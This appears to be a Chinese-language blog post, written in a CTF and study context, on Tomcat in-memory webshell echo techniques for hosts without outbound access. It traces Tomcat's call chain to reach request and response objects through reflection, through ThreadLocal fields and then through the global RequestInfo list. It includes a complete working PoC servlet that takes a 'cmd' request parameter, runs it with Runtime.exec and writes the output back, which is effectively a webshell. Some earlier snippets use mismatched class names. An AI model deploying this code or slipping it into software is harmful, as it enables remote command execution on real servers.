参考文章1

参考文章2

内存马回显技术

所谓回显,其实就是获取命令执行的结果,这种技术常用于目标机器不出网,无法反弹shell的情况。对于Java的中间件来讲,其关键就是获取request和response对象。

(这里我对不出网的理解是不能进行外连(也就是无法弹shell了),就是只能接收到外部请求)

那么这种情况就只能写入内存马 并且就是得想要request对象将生成的结果带出来 (那么HttpServletRequest ServletRequest 这种来获取request就是不行的)

image-20230817195118232

ThreadLocal Response回显(有局限性)

首先要注意的是,我们寻找的request对象应该是一个和当前线程ThreadLocal有关的对象,而不是一个全局变量。这样才能获取到当前线程的相关信息。最终我们能够在org.apache.catalina.core.ApplicationFilterChain#internalDoFilter类中找到这样两个变量lastServicedRequestlastServicedResponse。并且这两个属性还是静态的,我们获取时无需实例化对象。

image-20230817201046129

image-20230817201111266

对这个ThreadLocal<ServletRequest>的解释

img[41.png)

在我们熟悉的ApplicationFilterChain#internalDoFilter中,Tomcat会将request对象和response对象存储到这两个变量中

下了个断点来看这个ApplicationDispatcher.WRAP_SAME_OBJECT,这个默认是False

所以我们要是想进行进入到里面进行操作的话 得想要反射进行修改赋值

可以总结思路如下

  1. 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT的值,通过ThreadLocal#set方法将request和response对象存储到变量中
  2. 初始化lastServicedRequestlastServicedResponse两个变量,默认为null
  3. 通过ThreadLocal#get方法将request和response对象从lastServicedRequestlastServicedResponse中取出

反射存储request和response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//反射获取所需属性
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

//将变量WRAP_SAME_OBJECT_FIELD设置为true
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
}

(final变量并不是不可修改的)

在JDK12+之后,我们就不能通过上述方法移除final修饰符了,会报错NoSuchFiled:modifiers,因此目前我只发现了低版本的这种回显方式

初始化变量

由于变量在Tomcat初始化运行的时候会被设置为null,因此我们还需要初始化lastServicedRequest和lastServicedResponse变量为ThreadLocal类

image-20230817202808909

上面话的意思就是这两个参数会被设置为null 我们需要自己初始化成ThreadLocal类

1
2
3
4
5
6
7
if (lastServicedRequestField.get(null)==null){
lastServicedRequestField.set(null, new ThreadLocal<>());
}

if (lastServicedResponseField.get(null)==null){
lastServicedResponseField.set(null, new ThreadLocal<>());
}

获取request变量

1
2
3
4
5
6
if(lastServicedRequestField.get(null)!=null){
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
ServletRequest servletRequest = (ServletRequest) threadLocal.get();
System.out.println(servletRequest);
System.out.println((HttpServletRequest) servletRequest == req);
}

(这里我就不搭建环境来进行模拟了 因为比较懒)

局限性

如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显。如Shiro RememberMe反序列化漏洞,因为Shiro的RememberMe功能实际上就是一个自定义的Filter。我们知道在ApplicationFilterChain#internalDoFilter方法中,doFilter方法实际上是在我们获取response之前的。因此在Shiro漏洞环境下我们无法通过这种方式获得回显。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
...
} else {

//Shiro漏洞触发点
filter.doFilter(request, response, this);
}
...

// We fell off the end of the chain -- call the servlet instance
try {

//response回显触发点
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
...
} else {
servlet.service(request, response);
}
}
...
}

通过全局存储Response回显

Servlet容器是Java Web的核心,因此很多框架对于该容器都进行了一定程度的封装。不同框架、同一框架的不同版本的实现都有可能不同,因此我们很难找到一种通用的获取回显的方法。

比如我们上文通过ThreadLocal类来获取回显的方式就无法适用于Shiro框架下,那么我们能不能换一种思路,寻找Tomcat中全局存储的Request和Response呢?

但我们知道想要获取回显,request和response对象必须是属于当前线程的,因此通过全局存储获取回显的关键就在于找到当前代码运行的上下文和Tomcat运行上下文的联系。

寻找全局Response

先来看一下tomcat的调用链

image-20230818105624386

首先我们先来寻找一下Tomcat中的一些全局Response。在AbstractProcessor类中,我们能够找到全局response

先寻找入口点 就是全局request的地方 然后再想办法来获取它

image-20230818114526675

这就是这个全部request的位置 然后跟据这个tomcat调用栈的调用顺序 来看谁调用了它 怎么进行获取

(AbstractProcessorLight是AbstractProcessor的父类)

调用了Http11Processor#service方法

image-20230818115227852

image-20230818115622970

Http11Processor继承了AbstractProcessor类,这里的response对象正是AbstractProcessor类中的属性,因此我们如果能获取到Http11Processor类,就能获取到response对象

image-20230818115919023

image-20230818115749517

那么就去寻找哪里调用了这个Http11processor

继续分析调用栈 发现在AbstractProtocol的内部类ConnectionHandler中调用了register方法注册了processor,这里的processor就是上面的Http11processor:

image-20230818120349239

image-20230818120436915

我们再这一步进行跟进,在register方法中有一个Requestinfo类型的对象rp,他在里面也封装着一个request对象,之后将requestinfo对象存入global属性中:

image-20230818120655827

所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:既然同一个request对象都被封装进了AbstractProtocolglobal属性当中,那现在需要做的就是如何找到储存了AbstractProtocol类的地方,只要找到了我们就可以通过反射获取(Handler是ConnectionHandler的父类):

这就是完整的思路了

所以现在就是需要获取AbstractProtocol,我们继续观察调用栈,可以发现在CoyoteAdapter类中的connector属性中存放了protocolHandler对象:

image-20230818121455790

这是AbstractProtocol和protocolHandler 的值关系

image-20230818150046420

此时的调用链变成

1
Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response

下面就是获取Connector了,Tomcat在启动时会通过StandardService创建Connector

image-20230818150702481

StandardService#addConnector如下,该方法会将Connector放入属性connectors

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void addConnector(Connector connector) {

synchronized (connectorsLock) {
connector.setService(this);
Connector results[] = new Connector[connectors.length + 1];
System.arraycopy(connectors, 0, results, 0, connectors.length);
results[connectors.length] = connector;
connectors = results;
}

try {
if (getState().isAvailable()) {
connector.start();
}
} catch (LifecycleException e) {
throw new IllegalArgumentException(
sm.getString("standardService.connector.startFailed", connector), e);
}

// Report this property change to interested listeners
support.firePropertyChange("connector", null, connector);
}

image-20230818150837146

最终我们的调用链如下

1
StandardService----->Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response

下面的工作就是获取StandardService对象了,在此之前我们先了解一下Tomcat的类加载机制。

Tomcat的类加载机制

这里太绕了 看不懂 感兴趣的话可以去参考文章去看

构造payload

按照上文对调用栈分析的思路,我们可以依次构造出如下Payload

(下面做的分析铺垫全是为了获取StandardService) Tomcat的类加载机制也是讲述了如何获取StandardService

获取StandardContext
1
2
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
获取ApplicationContext

StandardContext中没有直接的方法获取context,因此我们需要通过反射获取

image-20230818151629339

1
2
3
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)context.get(standardContext);
获取StandardService

同样使用反射获取

1
2
3
4
//获取StandardService
Field standardServiceField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService = (StandardService) standardServiceField.get(applicationContext);
获取Connector
1
2
3
4
5
//获取Connector
Field connectorsField = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
Connector connector = connectors[0];
获取Handler

我们可以通过Connector#getProtocolHandler方法来获取对应的protocolHandler

这里获取的protocolHandler是Http11NioProtocol对象,前面我们分析过了该类继承了AbstractProtocol类,下面我们再通过反射获取Handler——内部类ConnectionHandler

1
2
3
4
5
//获取Handler
ProtocolHandler protocolHandler = connector.getProtocolHandler();
Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
获取内部类ConnectionHandler的global属性
1
2
3
4
//获取内部类AbstractProtocol$ConnectionHandler的global属性
Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalHandler.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);
获取processor

global属性RequestGroupInfo类中的processors数组用来存储RequestInfo对象,下面我们来获取RequestInfo对象,进而获取request对象

1
2
3
4
//获取processors
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);

最后我们获取request和response对象

获取request和response

这里我选择进一步获取org.apache.catalina.connector.Request对象,因为它继承自HttpServletRequest,我们可以通过PrintWrinter类直接获取回显

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//获取request和response
Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
requestField.setAccessible(true);
for (RequestInfo requestInfo : requestInfoList){

//获取org.apache.coyote.Request
org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);

//通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response http_response = http_request.getResponse();

PrintWriter writer = http_response.getWriter();
String cmd = http_request.getParameter("cmd");

InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
}

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

@WebServlet("/response")
public class Tomcat_Echo_Response extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

//获取StandardService
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

System.out.println(standardContext);

try {
//获取ApplicationContext
Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext);

//获取StandardService
Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService = (StandardService) standardServiceField.get(applicationContext);

//获取Connector
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
Connector connector = connectors[0];

//获取Handler
ProtocolHandler protocolHandler = connector.getProtocolHandler();
Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

//获取内部类AbstractProtocol$ConnectionHandler的global属性
Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalHandler.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);

//获取processors
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);

//获取request和response
Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
requestField.setAccessible(true);
for (RequestInfo requestInfo : requestInfoList){

//获取org.apache.coyote.Request
org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);

//通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response http_response = http_request.getResponse();

PrintWriter writer = http_response.getWriter();
String cmd = http_request.getParameter("cmd");

InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
}


} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}

这里注意一下有点就是 getResource() 跟tomcat版本有关

image-20230818160323336

image-20230818161005288

不给用这里 所以得换一个 tomcat版本

(这里后面我用的是tomcat 9.0.1版本)

image-20230818163630398

image-20230818163642017

image-20230818163649848

成功执行

反序列化注入内存马

在CTF中,我们注入内存马的目的往往是为了获取不出网机器的回显,而内存马的注入往往是通过反序列化漏洞。下面我们就来聊聊如何通过一个反序列化漏洞来注入内存马。

环境搭建

下面我们先来搭建一个存在反序列化漏洞的环境,编写一个存在反序列化漏洞的Servlet。这里JDK版本为jdk8u_65